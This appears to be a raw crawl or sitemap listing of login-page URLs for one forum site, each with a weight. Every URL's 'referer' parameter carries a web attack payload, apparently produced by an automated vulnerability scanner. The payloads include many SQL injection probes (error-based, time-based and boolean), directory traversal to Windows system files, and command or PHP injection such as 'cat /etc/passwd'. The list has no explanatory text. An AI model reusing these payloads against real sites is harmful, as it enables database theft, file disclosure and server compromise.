http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(42=34)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(49=46)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2049*(SELECT%2049%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(56=11)%20THEN%200x687474702533412532462532467777772E636E636D6C2E636F6D2532462E253246%20ELSE%2056*(SELECT%2056%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(66=66)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2066*(SELECT%2066%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(67=67)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(71=72)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2071*(SELECT%2071%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(73=34)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(74=61)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2074*(SELECT%2074%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(83=13)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2083*(SELECT%2083%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(88=88)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2088*(SELECT%2088%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2091*(SELECT%2091%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%2091*(SELECT%2091%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&referer=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&referer=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&referer=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&referer=ELT(34=34,0x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=ELT(34=57,0x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=ELT(36=36,0x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=ELT(75=97,0x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=MAKE_SET(21=21,0x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=MAKE_SET(53=57,0x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=MAKE_SET(82=17,0x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=MAKE_SET(84=84,0x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=dir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F 0.0008 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20OR%205=SLEEP(5) 0.0003 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20RLIKE%20(SELECT%20(CASE%20WHEN%20(63=65)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20RLIKE%20(SELECT%20(CASE%20WHEN%20(68=68)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20RLIKE%20(SELECT%20(CASE%20WHEN%20(85=51)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%22%20AND%20%22aj%22=%22Ub 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%22%20AND%20%22oH%22=%229Y 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%22)%20AND%2048=53%20AND%20(%22MT%22=%22MT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%22)%20AND%2088=47%20AND%20(%22z3%22=%22z3 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25%22%29%20AND%2031%3D76%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25%22%29%20AND%2093%3D71%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25%27%29%20AND%2012%3D12%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25%27%29%20AND%2048%3D59%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25%27%29%20AND%2057%3D57%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25%27%29%20AND%2097%3D21%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20AND%2011=11%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20AND%2016=95%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20AND%2018=18%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20AND%2026=87%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0003 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(49=29)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(67=67)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=25)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(97=97)%20THEN%200x687474702533412532462532466262732E636E636D6C2E636F6D2532462E253246%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%20'0Y'='mV 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%20'0o'%20LIKE%20'Tg 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%20'0z'%20LIKE%20'UV 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%20'6s'='Ah 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%20'HO'%20LIKE%20'HO 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%20'QY'='QY 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%20'rE'%20LIKE%20'rE 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%20'wU'='wU 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&referer=http%3A%2F%2Fbbs.cncml.com%2F.%2F'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 